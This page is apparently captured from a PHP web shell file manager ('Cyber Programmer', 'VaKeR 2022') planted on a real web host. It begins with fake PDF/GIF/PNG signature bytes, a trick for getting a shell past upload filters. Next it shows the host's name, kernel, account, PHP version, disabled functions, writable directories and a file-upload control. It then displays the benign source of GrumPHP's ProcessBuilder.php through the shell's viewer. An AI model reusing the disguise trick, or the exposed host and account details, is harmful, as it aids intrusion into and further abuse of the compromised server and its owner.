%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Process/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Process/ProcessBuilder.php
<?php

declare(strict_types=1);

namespace GrumPHP\Process;

use GrumPHP\Collection\ProcessArgumentsCollection;
use GrumPHP\Configuration\Model\ProcessConfig;
use GrumPHP\Exception\PlatformException;
use GrumPHP\IO\IOInterface;
use GrumPHP\Locator\ExternalCommand;
use GrumPHP\Util\Platform;
use Symfony\Component\Process\Process;

class ProcessBuilder
{
    /**
     * @var ExternalCommand
     */
    private $externalCommandLocator;

    /**
     * @var IOInterface
     */
    private $io;

    /**
     * @var ProcessConfig
     */
    private $config;

    public function __construct(ExternalCommand $externalCommandLocator, IOInterface $io, ProcessConfig $config)
    {
        $this->externalCommandLocator = $externalCommandLocator;
        $this->io = $io;
        $this->config = $config;
    }

    /**
     * @param callable(string); string>|null $pathManipulator
     */
    public function createArgumentsForCommand(
        string $command,
        callable $pathManipulator = null
    ): ProcessArgumentsCollection {
        $executable = $this->externalCommandLocator->locate($command);
        $manipulatedExecutable = $pathManipulator ? $pathManipulator($executable) : $executable;

        return ProcessArgumentsCollection::forExecutable((string) $manipulatedExecutable);
    }

    /**
     * @throws PlatformException
     */
    public function buildProcess(ProcessArgumentsCollection $arguments): Process
    {
        $process = ProcessFactory::fromArguments($arguments);
        $process->setTimeout($this->config->getTimeout());

        $this->logProcessInVerboseMode($process);
        $this->guardWindowsCmdMaxInputStringLimitation($process);

        return $process;
    }

    /**
     * @throws PlatformException
     */
    private function guardWindowsCmdMaxInputStringLimitation(Process $process): void
    {
        if (!Platform::isWindows()) {
            return;
        }

        if (\strlen($process->getCommandLine()) <= Platform::WINDOWS_COMMANDLINE_STRING_LIMITATION) {
            return;
        }

        throw PlatformException::commandLineStringLimit($process);
    }

    private function logProcessInVerboseMode(Process $process): void
    {
        if ($this->io->isVeryVerbose()) {
            $this->io->write([PHP_EOL.'Command: '.$process->getCommandLine()], true);
        }
    }
}

VaKeR 2022